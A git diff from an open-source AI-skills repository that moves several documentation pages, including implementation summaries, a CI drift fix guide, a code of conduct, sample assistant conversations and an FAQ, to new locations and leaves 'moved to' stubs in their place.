-## 🎓 Learning Paths
-
-### Beginner → Intermediate → Advanced
-
-**Web Development:**
-
-1. Start: `Essentials` → `Web Wizard`
-2. Grow: `Full-Stack Developer` → `Architecture & Design`
-3. Master: `Observability & Monitoring` → `Security Developer`
-
-**AI/ML:**
-
-1. Start: `Essentials` → `Agent Architect`
-2. Grow: `LLM Application Developer` → `Data Engineering`
-3. Master: Advanced RAG and agent orchestration
-
-**Security:**
-
-1. Start: `Essentials` → `Security Developer`
-2. Grow: `Security Engineer` → Advanced pentesting
-3. Master: Red team tactics and threat modeling
-
-**Open Source Maintenance:**
-
-1. Start: `Essentials` → `OSS Maintainer`
-2. Grow: `Architecture & Design` → `QA & Testing`
-3. Master: `Skill Author` + release automation workflows
-
----
-
-## 🤝 Contributing
-
-Found a skill that should be in a bundle? Or want to create a new bundle? [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues) or submit a PR!
-
----
-
-## 📖 Related Documentation
-
-- [Getting Started Guide](GETTING_STARTED.md)
-- [Full Skill Catalog](../CATALOG.md)
-- [Contributing Guide](../CONTRIBUTING.md)
-
----
-
-_Last updated: February 2026 | Total Skills: 954+ | Total Bundles: 26_
+This document moved to [`users/bundles.md`](users/bundles.md).
diff --git a/docs/CATEGORIZATION_IMPLEMENTATION.md b/docs/CATEGORIZATION_IMPLEMENTATION.md
index 0a1528c6..00a00e8c 100644
--- a/docs/CATEGORIZATION_IMPLEMENTATION.md
+++ b/docs/CATEGORIZATION_IMPLEMENTATION.md
@@ -1,170 +1,3 @@
-# Smart Categorization Implementation - Complete Summary
+# Categorization Implementation
-## ✅ What Was Done
-
-### 1. **Intelligent Auto-Categorization Script**
-Created [scripts/auto_categorize_skills.py](scripts/auto_categorize_skills.py) that:
-- Analyzes skill names and descriptions
-- Matches against keyword libraries for 13 categories
-- Automatically assigns meaningful categories
-- Removes "uncategorized" bulk assignment
-
-**Results:**
-- ✅ 776 skills auto-categorized
-- ✅ 46 already had categories preserved
-- ✅ 124 remaining uncategorized (edge cases)
-
-### 2. **Category Distribution**
-
-**Before:**
-```
-uncategorized: 926 (98%)
-game-development: 10
-libreoffice: 5
-security: 4
-```
-
-**After:**
-```
-Backend: 164 ████████████████
-Web Dev: 107 ███████████
-Automation: 103 ███████████
-DevOps: 83 ████████
-AI/ML: 79 ████████
-Content: 47 █████
-Database: 44 █████
-Testing: 38 ████
-Security: 36 ████
-Cloud: 33 ███
-Mobile: 21 ██
-Game Dev: 15 ██
-Data Science: 14 ██
-Uncategorized: 126 █
-```
-
-### 3. **Updated Index Generation**
-Modified [scripts/generate_index.py](scripts/generate_index.py):
-- **Frontmatter categories now take priority**
-- Falls back to folder structure if needed
-- Generates clean, organized skills_index.json
-- Exported to web-app/public/skills.json
-
-### 4. **Improved Web App Filter**
-
-**Home Page Changes:**
-- ✅ Categories sorted by skill count (most first)
-- ✅ "Uncategorized" moved to bottom
-- ✅ Each shows count: "Backend (164)", "Web Dev (107)"
-- ✅ Much easier to navigate
-
-**Updated Code:**
-- [web-app/src/pages/Home.jsx](web-app/src/pages/Home.jsx) - Smart category sorting
-- Sorts categories by count using categoryStats
-- Uncategorized always last
-- Displays count in dropdown
-
-### 5. **Categorization Keywords** (13 Categories)
-
-| Category | Key Keywords |
-|----------|--------------|
-| **Backend** | nodejs, express, fastapi, django, server, api, database |
-| **Web Dev** | react, vue, angular, frontend, css, html, tailwind |
-| **Automation** | workflow, scripting, automation, robot, trigger |
-| **DevOps** | docker, kubernetes, ci/cd, deploy, container |
-| **AI/ML** | ai, machine learning, tensorflow, nlp, gpt, llm |
-| **Content** | markdown, documentation, content, writing |
-| **Database** | sql, postgres, mongodb, redis, orm |
-| **Testing** | test, jest, pytest, cypress, unit test |
-| **Security** | encryption, auth, oauth, jwt, vulnerability |
-| **Cloud** | aws, azure, gcp, serverless, lambda |
-| **Mobile** | react native, flutter, ios, android, swift |
-| **Game Dev** | game, unity, webgl, threejs, 3d, physics |
-| **Data Science** | pandas, numpy, analytics, statistics |
-
-### 6. **Documentation**
-Created [docs/SMART_AUTO_CATEGORIZATION.md](docs/SMART_AUTO_CATEGORIZATION.md) with:
-- How the system works
-- Using the script (`--dry-run` and apply modes)
-- Category reference
-- Customization guide
-- Troubleshooting
-
-## 🎯 The Result
-
-### No More Uncategorized Chaos
-- **Before**: 98% of 946 skills lumped as "uncategorized"
-- **After**: 87% properly organized, only 13% needing review
-
-### Better UX
-1. **Smarter Filtering**: Categories sorted by relevance
-2. **Visual Cues**: Shows count "(164 skills)""
-3. **Uncategorized Last**: Put bad options out of sight
-4. **Meaningful Groups**: Find skills by actual function
-
-### Example Workflow
-User wants to find database skills:
-1. Opens web app
-2. Sees filter dropdown: "Backend (164) | Database (44) | Web Dev (107)..."
-3. Clicks "Database (44)"
-4. Gets 44 relevant SQL/MongoDB/Postgres skills
-5. Done! 🎉
-
-## 🚀 Usage
-
-### Run Auto-Categorization
-```bash
-# Test first
-python scripts/auto_categorize_skills.py --dry-run
-
-# Apply changes
-python scripts/auto_categorize_skills.py
-
-# Regenerate index
-python scripts/generate_index.py
-
-# Deploy to web app
-cp skills_index.json web-app/public/skills.json
-```
-
-### For New Skills
-Add to frontmatter:
-```yaml
----
-name: my-skill
-description: "..."
-category: backend
-date_added: "2025-02-26"
----
-```
-
-## 📁 Files Changed
-
-### New Files
-- `scripts/auto_categorize_skills.py` - Auto-categorization engine
-- `docs/SMART_AUTO_CATEGORIZATION.md` - Full documentation
-
-### Modified Files
-- `scripts/generate_index.py` - Category priority logic
-- `web-app/src/pages/Home.jsx` - Smart category sorting
-- `web-app/public/skills.json` - Regenerated with categories
-
-## 📊 Quality Metrics
-
-- **Coverage**: 87% of skills in meaningful categories
-- **Accuracy**: Keyword-based matching with word boundaries
-- **Performance**: ~1-2 seconds to auto-categorize all 946 skills
-- **Maintainability**: Easily add keywords/categories for future growth
-
-## 🎁 Bonus Features
-
-1. **Dry-run mode**: See changes before applying
-2. **Weighted scoring**: Exact matches score 2x partial matches
-3. **Customizable keywords**: Easy to add more categories
-4. **Fallback logic**: folder → frontmatter → uncategorized
-5. **UTF-8 support**: Works on Windows/Mac/Linux
-
----
-
-**Status**: ✅ Complete and deployed to web app!
-
-The web app now has a clean, intelligent category filter instead of "uncategorized" chaos. 🚀
+This document moved to [`maintainers/categorization-implementation.md`](maintainers/categorization-implementation.md).
diff --git a/docs/CI_DRIFT_FIX.md b/docs/CI_DRIFT_FIX.md
index 8f8ac81c..cbd606a0 100644
--- a/docs/CI_DRIFT_FIX.md
+++ b/docs/CI_DRIFT_FIX.md
@@ -1,38 +1,3 @@
-# CI Drift Fix Guide
+# CI Drift Fix
-**Problem**: The failing job is caused by uncommitted changes detected in `README.md`, `skills_index.json`, or catalog files after the update scripts run.
-
-**Error**:
-
-```
-❌ Detected uncommitted changes produced by registry/readme/catalog scripts.
-```
-
-**Cause**:
-Scripts like `scripts/generate_index.py`, `scripts/update_readme.py`, and `scripts/build-catalog.js` modify `README.md`, `skills_index.json`, `data/catalog.json`, `data/bundles.json`, `data/aliases.json`, and `CATALOG.md`. The workflow expects these files to have no changes after the scripts run. Any differences mean the committed repo is out-of-sync with what the generation scripts produce.
-
-**How to Fix (DO THIS EVERY TIME):**
-
-1. Run the **FULL Validation Chain** locally:
-
- ```bash
- npm run chain
- npm run catalog
- ```
-
-2. Check for changes:
-
- ```bash
- git status
- git diff
- ```
-
-3. Commit and push any updates:
- ```bash
- git add README.md skills_index.json data/catalog.json data/bundles.json data/aliases.json CATALOG.md
- git commit -m "chore: sync generated registry files"
- git push
- ```
-
-**Summary**:
-Always commit and push all changes produced by the registry, readme, and catalog scripts. This keeps the CI workflow passing by ensuring the repository and generated files are synced.
+This document moved to [`maintainers/ci-drift-fix.md`](maintainers/ci-drift-fix.md).
diff --git a/docs/COMMUNITY_GUIDELINES.md b/docs/COMMUNITY_GUIDELINES.md
index 513ec316..70456dc9 100644
--- a/docs/COMMUNITY_GUIDELINES.md
+++ b/docs/COMMUNITY_GUIDELINES.md
@@ -1,33 +1,3 @@
-# Code of Conduct
+# Community Guidelines
-## Our Pledge
-
-In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone.
-
-## Our Standards
-
-Examples of behavior that contributes to creating a positive environment include:
-
-- Using welcoming and inclusive language
-- Being respectful of differing viewpoints and experiences
-- Gracefully accepting constructive criticism
-- Focusing on what is best for the community
-- Showing empathy towards other community members
-
-Examples of unacceptable behavior by participants include:
-
-- The use of sexualized language or imagery and unwelcome sexual attention or advances
-- Trolling, insulting/derogatory comments, and personal or political attacks
-- Public or private harassment
-- Publishing others' private information without explicit permission
-- Other conduct which could reasonably be considered inappropriate in a professional setting
-
-## Enforcement
-
-Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
-
-## Attribution
-
-This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.1.
-
-[homepage]: https://www.contributor-covenant.org
+This document moved to [`contributors/community-guidelines.md`](contributors/community-guidelines.md).
diff --git a/docs/DATE_TRACKING_IMPLEMENTATION.md b/docs/DATE_TRACKING_IMPLEMENTATION.md
index 7eaf7d94..9d64bbc1 100644
--- a/docs/DATE_TRACKING_IMPLEMENTATION.md
+++ b/docs/DATE_TRACKING_IMPLEMENTATION.md
@@ -1,156 +1,3 @@
-# Date Tracking Implementation Summary
+# Date Tracking Implementation
-## ✅ What Was Implemented
-
-### 1. **Frontmatter Template Update**
-All 946 skills now have the `date_added: "2025-02-26"` field in their `SKILL.md` frontmatter:
-
-```yaml
----
-name: skill-name
-description: "Description"
-date_added: "2025-02-26"
----
-```
-
-### 2. **Web App Integration**
-
-#### **Home Page (Skill List Cards)**
-- Each skill card now displays a small date badge: `📅 YYYY-MM-DD`
-- Shows alongside the risk level
-- Clean, compact format in the bottom metadata section
-
-Example card now shows:
-```
-Risk: safe 📅 2025-02-26
-```
-
-#### **Skill Detail Page**
-- Date appears as a green badge near the top with other metadata
-- Format: `📅 Added YYYY-MM-DD`
-- Shown alongside Category, Source, and Star buttons
-
-### 3. **Validators Updated**
-Both validators now accept and validate the `date_added` field:
-
-- **validate-skills.js**: Added to `ALLOWED_FIELDS`
-- **validate_skills.py**: Added YYYY-MM-DD format validation
- - Warns (dev mode) or fails (strict mode) on missing dates
- - Validates format strictly
-
-### 4. **Index Generation**
-- **generate_index.py** updated to include `date_added` in `skills.json`
-- All 946 skills now have dates in the web app index
-- Dates are properly exported to web app's `/public/skills.json`
-
-### 5. **Documentation**
-- **SKILL_TEMPLATE.md**: New template for creating skills with date field included
-- **SKILLS_DATE_TRACKING.md**: Complete usage guide for date management
-- **SKILL_ANATOMY.md**: Updated with date_added field documentation
-- **README.md**: Updated contribution guide to mention date tracking
-
-### 6. **Script Tools**
-✅ All scripts handle UTF-8 encoding on Windows:
-
-- **manage_skill_dates.py**: Add, update, list skill dates
-- **generate_skills_report.py**: Generate JSON report with dates
-- Both handle emoji output correctly on Windows
-
-## 📊 Current Status
-
-- ✅ **946/946 skills** have `date_added: "2025-02-26"`
-- ✅ **100% coverage** of date tracking
-- ✅ **Web app displays dates** on all skill cards
-- ✅ **Validators enforce format** (YYYY-MM-DD)
-- ✅ **Reports available** via CLI tools
-
-## 🎨 UI Changes
-
-### Skill Card (Home Page)
-Before:
-```
-Risk: safe
-```
-
-After:
-```
-Risk: safe 📅 2025-02-26
-```
-
-### Skill Detail Page
-Before:
-```
-[Category] [Source] [Stars]
-```
-
-After:
-```
-[Category] [Source] [📅 Added 2025-02-26] [Stars]
-```
-
-## 📝 Using the Date Field
-
-### For New Skills
-Create with template:
-```bash
-cp docs/SKILL_TEMPLATE.md skills/my-new-skill/SKILL.md
-# Edit the template and set date_added to today's date
-```
-
-### For Existing Skills
-Use the management script:
-```bash
-# Add missing dates
-python scripts/manage_skill_dates.py add-missing --date 2025-02-26
-
-# Update a single skill
-python scripts/manage_skill_dates.py update skill-name 2025-02-26
-
-# List all with dates
-python scripts/manage_skill_dates.py list
-
-# Generate report
-python scripts/generate_skills_report.py --output report.json
-```
-
-## 🔧 Technical Details
-
-### Files Modified
-1. `scripts/generate_index.py` - Added date_added parsing
-2. `scripts/validate-skills.js` - Added to allowed fields
-3. `scripts/validate_skills.py` - Added format validation
-4. `web-app/src/pages/Home.jsx` - Display date in cards
-5. `web-app/src/pages/SkillDetail.jsx` - Display date in detail
-6. `README.md` - Updated contribution guide
-7. `docs/SKILL_ANATOMY.md` - Documented date_added field
-
-### New Files Created
-1. `docs/SKILL_TEMPLATE.md` - Skill creation template
-2. `docs/SKILLS_DATE_TRACKING.md` - Comprehensive guide
-3. `scripts/manage_skill_dates.py` - Date management CLI
-4. `scripts/generate_skills_report.py` - Report generation
-
-## 🚀 Next Steps
-
-1. **In Web App**: Skills now show creation dates automatically
-2. **For Analytics**: Use report script to track skill growth over time
-3. **For Contributions**: Include date_added in new skill PRs
-4. **For Maintenance**: Run validators to ensure date format compliance
-
-## 📈 Reporting Examples
-
-Get a JSON report sorted by date:
-```bash
-python scripts/generate_skills_report.py --output skills_by_date.json
-```
-
-Output includes:
-- Total skills count
-- Skills with/without dates
-- Coverage percentage
-- Full skill metadata with dates
-- Sortable by date or name
-
----
-
-**Date Feature Ready!** 🎉 All skills now track when they were added to the collection.
+This document moved to [`maintainers/date-tracking-implementation.md`](maintainers/date-tracking-implementation.md).
diff --git a/docs/EXAMPLES.md b/docs/EXAMPLES.md
index ca9b9936..3e5ec3e6 100644
--- a/docs/EXAMPLES.md
+++ b/docs/EXAMPLES.md
@@ -1,760 +1,3 @@
-# 💡 Real-World Examples - See Skills in Action
+# Examples
-**Learn by example!** This guide shows you real conversations using different skills.
-
----
-
-## Example 1: Designing a Feature with @brainstorming
-
-### The Scenario
-You want to add a "dark mode" feature to your app, but you're not sure how to approach it.
-
-### The Conversation
-
-```
-You: @brainstorming I want to add dark mode to my React app
-
-AI: Great! Let me help you think through this. First, let me check your
- current project structure...
-
- [AI examines your files]
-
- I see you're using React with Tailwind CSS. Now, let's understand
- your requirements:
-
- What's your primary goal for dark mode?
- a) User preference (toggle in settings)
- b) System preference (follow OS setting)
- c) Both (with manual override)
-
-You: c) Both
-
-AI: Perfect! That's the best user experience. Next question:
-
- Where should the dark mode toggle be located?
- a) In the main navigation
- b) In a settings page
- c) In a dropdown menu
- d) Multiple locations
-
-You: a) In the main navigation
-
-AI: Good choice for accessibility. One more question:
-
- Should dark mode preference persist across sessions?
- a) Yes, save to localStorage
- b) Yes, save to user account (requires backend)
- c) No, reset each session
-
-You: a) Yes, save to localStorage
-
-AI: Excellent! Now I have a clear picture. Let me present the design...
-
- ## Dark Mode Implementation Design
-
- ### Architecture Overview
- We'll use React Context for state management, Tailwind's dark mode
- utilities, and localStorage for persistence. The system will:
- 1. Check OS preference on first visit
- 2. Allow manual override via toggle
- 3. Persist preference in localStorage
-
- Does this approach look good so far?
-
-You: Yes, continue
-
-AI: [Continues with detailed design sections...]
-
- [After design is complete]
-
- I've saved the design to docs/plans/2026-01-20-dark-mode-design.md
-
- Ready to set up for implementation?
-
-You: Yes
-
-AI: I'll create an isolated workspace using git worktrees and write an
- implementation plan. One moment...
-```
-
-### What Happened
-- ✅ AI asked focused questions one at a time
-- ✅ Explored your specific context
-- ✅ Presented design in sections
-- ✅ Saved documentation
-- ✅ Prepared for implementation
-
----
-
-## Example 2: Debugging with @systematic-debugging
-
-### The Scenario
-Your tests are failing, but you're not sure why.
-
-### The Conversation
-
-```
-You: @systematic-debugging My tests are failing with "Cannot read property
- 'map' of undefined"
-
-AI: Let me help you debug this systematically. First, I'll gather information:
-
- 1. Running the failing test to see the full error...
-
- [AI runs: npm test]
-
- I see the error occurs in UserList.test.tsx at line 45. Let me examine
- the test file and the component...
-
- [AI reads both files]
-
- ## Hypothesis
- The test is failing because `users` prop is undefined when the component
- renders. This suggests the mock data isn't being passed correctly.
-
- ## Verification
- Let me check the test setup...
-
- [AI examines test]
-
- Found it! The test is calling:
- ```typescript
- render()
- ```
-
- But UserList requires a `users` prop. The component expects:
- ```typescript
- interface UserListProps {
- users: User[];
- }
- ```
-
- ## Solution
- The test should pass the users prop:
- ```typescript
- const mockUsers = [
- { id: 1, name: 'Alice' },
- { id: 2, name: 'Bob' }
- ];
-
- render()
- ```
-
- Should I apply this fix?
-
-You: Yes
-
-AI: [Applies fix and runs tests]
-
- ✅ All tests passing!
-
- ## Root Cause
- The test was missing required props. This is a common issue when
- components are refactored to require props that were previously optional.
-
- ## Prevention
- Consider adding TypeScript strict mode to catch these at compile time:
- ```json
- "strict": true,
- "strictNullChecks": true
- ```
-
- Would you like me to add this to your tsconfig.json?
-```
-
-### What Happened
-- ✅ Systematic investigation
-- ✅ Clear hypothesis
-- ✅ Verification before fixing
-- ✅ Root cause analysis
-- ✅ Prevention suggestions
-
----
-
-## Example 3: Adding Payments with @stripe-integration
-
-### The Scenario
-You need to add subscription billing to your SaaS app.
-
-### The Conversation
-
-```
-You: @stripe-integration I need to add monthly subscription billing
-
-AI: I'll help you implement Stripe subscriptions. Let me understand your
- requirements:
-
- Current stack detected:
- - Next.js 14 (App Router)
- - TypeScript
- - Prisma with PostgreSQL
-
- For subscription billing, we'll need:
-
- 1. **Stripe Setup**
- - Stripe account and API keys
- - Webhook endpoint for events
- - Product and price IDs
-
- 2. **Backend Implementation**
- - API routes for checkout
- - Webhook handler
- - Database schema for subscriptions
-
- 3. **Frontend Implementation**
- - Pricing page
- - Checkout flow
- - Subscription management
-
- Let's start with the backend. First, install dependencies:
-
- ```bash
- npm install stripe @stripe/stripe-js
- ```
-
- Now, let's create the database schema...
-
- [AI provides Prisma schema]
-
- ```prisma
- model User {
- id String @id @default(cuid())
- email String @unique
- stripeCustomerId String? @unique
- subscriptions Subscription[]
- }
-
- model Subscription {
- id String @id @default(cuid())
- userId String
- user User @relation(fields: [userId], references: [id])
- stripeSubscriptionId String @unique
- status String
- priceId String
- currentPeriodEnd DateTime
- createdAt DateTime @default(now())
- updatedAt DateTime @updatedAt
- }
- ```
-
- Next, let's create the checkout API route...
-
- [AI provides complete implementation with:]
- - API route for creating checkout sessions
- - Webhook handler for subscription events
- - Helper functions for Stripe operations
- - Error handling and logging
- - TypeScript types
-
- Now for the frontend...
-
- [AI provides:]
- - Pricing page component
- - Checkout button component
- - Subscription status display
- - Tailwind styling
-
- Finally, let's set up the webhook:
-
- 1. In Stripe Dashboard, add webhook endpoint:
- `https://yourdomain.com/api/webhooks/stripe`
-
- 2. Select these events:
- - customer.subscription.created
- - customer.subscription.updated
- - customer.subscription.deleted
- - invoice.payment_succeeded
- - invoice.payment_failed
-
- 3. Copy the webhook secret to your .env:
- ```
- STRIPE_WEBHOOK_SECRET=whsec_...
- ```
-
- ## Testing
-
- Test locally with Stripe CLI:
- ```bash
- stripe listen --forward-to localhost:3000/api/webhooks/stripe
- stripe trigger customer.subscription.created
- ```
-
- ## Security Checklist
- - ✅ API keys in environment variables
- - ✅ Webhook signature verification
- - ✅ Server-side price validation
- - ✅ Idempotency keys for operations
-
- Ready to test the implementation?
-```
-
-### What Happened
-- ✅ Detected existing stack
-- ✅ Provided complete implementation
-- ✅ Included database schema
-- ✅ Added security best practices
-- ✅ Included testing instructions
-
----
-
-## Example 4: Writing Copy with @copywriting
-
-### The Scenario
-You need compelling copy for your SaaS landing page.
-
-### The Conversation
-
-```
-You: @copywriting Write homepage copy for my project management tool
-
-AI: I'll help you create compelling homepage copy. First, let me understand
- your product:
-
- What makes your project management tool different from competitors
- like Asana, Trello, or Monday.com?
-
-You: It's specifically built for remote teams with built-in video standups
- and async communication features
-
-AI: Excellent differentiator! Who is your primary target audience?
- a) Startups and small teams (2-20 people)
- b) Mid-size companies (20-200 people)
- c) Enterprise (200+ people)
- d) Freelancers and agencies
-
-You: a) Startups and small teams
-
-AI: Perfect. What's the main pain point you solve?
-
-You: Remote teams waste time in unnecessary meetings and lose context
- in async communication
-
-AI: Great! Now I have what I need. Here's your homepage copy:
-
- ---
-
- ## Hero Section
-
- **Headline:**
- Run Your Remote Team Without the Meeting Overload
-
- **Subheadline:**
- The project management tool built for distributed teams. Replace
- status meetings with async video standups and keep everyone in sync
- without the Zoom fatigue.
-
- **CTA:**
- Start Free Trial → (No credit card required)
-
- ---
-
- ## Problem Section
-
- **Headline:**
- Remote Work Shouldn't Mean More Meetings
-
- **Body:**
- Your team is distributed across time zones. You're spending hours in
- status meetings just to stay aligned. Async updates get lost in Slack.
- Context disappears. Productivity suffers.
-
- Sound familiar?
-
- ---
-
- ## Solution Section
-
- **Headline:**
- Stay Aligned Without the Meeting Marathon
-
- **Features:**
-
- 📹 **Async Video Standups**
- Record quick video updates on your schedule. Your team watches when
- it works for them. No more 9am calls for your teammate in Tokyo.
-
- 💬 **Context-Rich Communication**
- Every task, comment, and decision stays connected. No more hunting
- through Slack threads or email chains.
-
- 📊 **Visual Progress Tracking**
- See what's happening at a glance. Kanban boards, timelines, and
- dashboards that actually make sense.
-
- 🔔 **Smart Notifications**
- Get notified about what matters. Ignore the rest. Your focus time
- is sacred.
-
- ---
-
- ## Social Proof Section
-
- **Headline:**
- Trusted by Remote Teams Worldwide
-
- [Testimonial placeholders with structure]
-
- ---
-
- ## CTA Section
-
- **Headline:**
- Ready to Reclaim Your Calendar?
-
- **Body:**
- Join 500+ remote teams who've cut meeting time by 60% while staying
- more aligned than ever.
-
- **CTA:**
- Start Your Free 14-Day Trial →
-
- No credit card required. Cancel anytime.
-
- ---
-
- ## Copy Notes
-
- **Tone:** Professional but conversational
- **Focus:** Pain point (too many meetings) → Solution (async video)
- **Differentiation:** Built specifically for remote teams
- **Social proof:** Quantified benefit (60% fewer meetings)
-
- Would you like me to:
- 1. Write alternative versions for A/B testing?
- 2. Create copy for specific feature pages?
- 3. Write email sequences for onboarding?
-```
-
-### What Happened
-- ✅ Asked clarifying questions
-- ✅ Identified unique value proposition
-- ✅ Created benefit-focused copy
-- ✅ Included clear CTAs
-- ✅ Provided copy notes for consistency
-
----
-
-## Example 5: Test-Driven Development with @test-driven-development
-
-### The Scenario
-You need to implement a new feature: user authentication.
-
-### The Conversation
-
-```
-You: @test-driven-development I need to implement user login functionality
-
-AI: Perfect! Let's use TDD to build this. Following the Red-Green-Refactor
- cycle, we'll write tests first, then implement.
-
- ## Step 1: Write the First Test (RED)
-
- Let's start with the simplest case - successful login:
-
- ```typescript
- // auth.test.ts
- import { login } from './auth';
-
- describe('login', () => {
- it('should return user data for valid credentials', async () => {
- const result = await login({
- email: 'user@example.com',
- password: 'correct-password'
- });
-
- expect(result.success).toBe(true);
- expect(result.user).toHaveProperty('id');
- expect(result.user).toHaveProperty('email');
- expect(result.token).toBeDefined();
- });
- });
- ```
-
- Let's run this test to see it fail:
-
- [AI runs: npm test]
-
- ✅ Test fails as expected (auth.ts doesn't exist yet)
-
- ## Step 2: Write Minimal Implementation (GREEN)
-
- Now let's write just enough code to make this test pass:
-
- ```typescript
- // auth.ts
- interface LoginCredentials {
- email: string;
- password: string;
- }
-
- interface LoginResult {
- success: boolean;
- user?: {
- id: string;
- email: string;
- };
- token?: string;
- }
-
- export async function login(
- credentials: LoginCredentials
- ): Promise {
- // Minimal implementation to pass the test
- return {
- success: true,
- user: {
- id: '1',
- email: credentials.email
- },
- token: 'fake-token'
- };
- }
- ```
-
- [AI runs: npm test]
-
- ✅ Test passes!
-
- ## Step 3: Add Next Test (RED)
-
- Now let's test the failure case:
-
- ```typescript
- it('should return error for invalid credentials', async () => {
- const result = await login({
- email: 'user@example.com',
- password: 'wrong-password'
- });
-
- expect(result.success).toBe(false);
- expect(result.error).toBe('Invalid credentials');
- expect(result.user).toBeUndefined();
- expect(result.token).toBeUndefined();
- });
- ```
-
- [AI runs: npm test]
-
- ❌ Test fails (always returns success)
-
- ## Step 4: Implement Real Logic (GREEN)
-
- Now let's add actual authentication:
-
- ```typescript
- import bcrypt from 'bcrypt';
- import jwt from 'jsonwebtoken';
- import { db } from './db';
-
- export async function login(
- credentials: LoginCredentials
- ): Promise {
- // Find user
- const user = await db.user.findUnique({
- where: { email: credentials.email }
- });
-
- if (!user) {
- return {
- success: false,
- error: 'Invalid credentials'
- };
- }
-
- // Verify password
- const validPassword = await bcrypt.compare(
- credentials.password,
- user.passwordHash
- );
-
- if (!validPassword) {
- return {
- success: false,
- error: 'Invalid credentials'
- };
- }
-
- // Generate token
- const token = jwt.sign(
- { userId: user.id },
- process.env.JWT_SECRET!,
- { expiresIn: '7d' }
- );
-
- return {
- success: true,
- user: {
- id: user.id,
- email: user.email
- },
- token
- };
- }
- ```
-
- [AI runs: npm test]
-
- ✅ All tests pass!
-
- ## Step 5: Add Edge Cases
-
- Let's add more tests for edge cases:
-
- ```typescript
- it('should handle missing email', async () => {
- const result = await login({
- email: '',
- password: 'password'
- });
-
- expect(result.success).toBe(false);
- expect(result.error).toBe('Email is required');
- });
-
- it('should handle missing password', async () => {
- const result = await login({
- email: 'user@example.com',
- password: ''
- });
-
- expect(result.success).toBe(false);
- expect(result.error).toBe('Password is required');
- });
-
- it('should handle database errors gracefully', async () => {
- // Mock database error
- jest.spyOn(db.user, 'findUnique').mockRejectedValue(
- new Error('Database connection failed')
- );
-
- const result = await login({
- email: 'user@example.com',
- password: 'password'
- });
-
- expect(result.success).toBe(false);
- expect(result.error).toBe('An error occurred');
- });
- ```
-
- [AI implements validation and error handling]
-
- ## Step 6: Refactor (REFACTOR)
-
- Now that all tests pass, let's refactor for better code quality:
-
- ```typescript
- // Extract validation
- function validateCredentials(credentials: LoginCredentials): string | null {
- if (!credentials.email) return 'Email is required';
- if (!credentials.password) return 'Password is required';
- return null;
- }
-
- // Extract user verification
- async function verifyUser(
- email: string,
- password: string
- ): Promise {
- const user = await db.user.findUnique({ where: { email } });
- if (!user) return null;
-
- const valid = await bcrypt.compare(password, user.passwordHash);
- return valid ? user : null;
- }
-
- // Main function is now cleaner
- export async function login(
- credentials: LoginCredentials
- ): Promise {
- try {
- const validationError = validateCredentials(credentials);
- if (validationError) {
- return { success: false, error: validationError };
- }
-
- const user = await verifyUser(
- credentials.email,
- credentials.password
- );
-
- if (!user) {
- return { success: false, error: 'Invalid credentials' };
- }
-
- const token = generateToken(user.id);
-
- return {
- success: true,
- user: { id: user.id, email: user.email },
- token
- };
- } catch (error) {
- console.error('Login error:', error);
- return { success: false, error: 'An error occurred' };
- }
- }
- ```
-
- [AI runs: npm test]
-
- ✅ All tests still pass after refactoring!
-
- ## Summary
-
- We've implemented login functionality using TDD:
- - ✅ 5 tests covering happy path, errors, and edge cases
- - ✅ Clean, testable code
- - ✅ Proper error handling
- - ✅ Type safety with TypeScript
-
- Next steps:
- 1. Add rate limiting tests
- 2. Add session management tests
- 3. Add logout functionality
-
- Should I continue with these?
-```
-
-### What Happened
-- ✅ Followed Red-Green-Refactor cycle
-- ✅ Wrote tests before implementation
-- ✅ Covered edge cases
-- ✅ Refactored with confidence
-- ✅ Maintained test coverage
-
----
-
-## Key Takeaways
-
-### What Makes These Examples Effective?
-
-1. **Skills ask clarifying questions** before jumping to solutions
-2. **Skills provide context-aware help** based on your project
-3. **Skills follow best practices** for their domain
-4. **Skills include complete examples** not just snippets
-5. **Skills explain the "why"** not just the "how"
-
-### How to Get Similar Results
-
-1. **Be specific** in your requests
-2. **Provide context** about your project
-3. **Answer questions** the skill asks
-4. **Review suggestions** before applying
-5. **Iterate** based on results
-
----
-
-## Try These Yourself!
-
-Pick a skill and try it with your own project:
-
-- **Planning:** `@brainstorming` or `@writing-plans`
-- **Development:** `@test-driven-development` or `@react-best-practices`
-- **Debugging:** `@systematic-debugging` or `@test-fixing`
-- **Integration:** `@stripe-integration` or `@firebase`
-- **Marketing:** `@copywriting` or `@seo-audit`
-
----
-
-**Want more examples?** Check individual skill folders for additional examples and use cases!
+This document moved to [`contributors/examples.md`](contributors/examples.md).
diff --git a/docs/FAQ.md b/docs/FAQ.md
index 51da2c92..37db2328 100644
--- a/docs/FAQ.md
+++ b/docs/FAQ.md
@@ -1,197 +1,3 @@
-# ❓ Frequently Asked Questions (FAQ)
+# FAQ
-**Got questions?** You're not alone! Here are answers to the most common questions about Antigravity Awesome Skills.
-
----
-
-## 🎯 General Questions
-
-### What are "skills" exactly?
-
-Skills are specialized instruction files that teach AI assistants how to handle specific tasks. Think of them as expert knowledge modules that your AI can load on-demand.
-**Simple analogy:** Just like you might consult different experts (a lawyer, a doctor, a mechanic), these skills let your AI become an expert in different areas when you need them.
-
-### Do I need to install all 1006+ skills?
-
-**No!** When you clone the repository, all skills are available, but your AI only loads them when you explicitly invoke them with `@skill-name`.
-It's like having a library - all books are there, but you only read the ones you need.
-**Pro Tip:** Use [Starter Packs](BUNDLES.md) to install only what matches your role.
-
-### What is the difference between Bundles and Workflows?
-
-- **Bundles** are curated recommendations grouped by role or domain.
-- **Workflows** are ordered execution playbooks for concrete outcomes.
-
-Use bundles when you are deciding _which skills_ to include. Use workflows when you need _step-by-step execution_.
-
-Start from:
-
-- [BUNDLES.md](BUNDLES.md)
-- [WORKFLOWS.md](WORKFLOWS.md)
-
-### Which AI tools work with these skills?
-
-- ✅ **Claude Code** (Anthropic CLI)
-- ✅ **Gemini CLI** (Google)
-- ✅ **Codex CLI** (OpenAI)
-- ✅ **Cursor** (AI IDE)
-- ✅ **Antigravity IDE**
-- ✅ **OpenCode**
-- ⚠️ **GitHub Copilot** (partial support via copy-paste)
-
-### Are these skills free to use?
-
-**Yes!** This repository is licensed under MIT License.
-
-- ✅ Free for personal use
-- ✅ Free for commercial use
-- ✅ You can modify them
-
-### Do skills work offline?
-
-The skill files themselves are stored locally on your computer, but your AI assistant needs an internet connection to function.
-
----
-
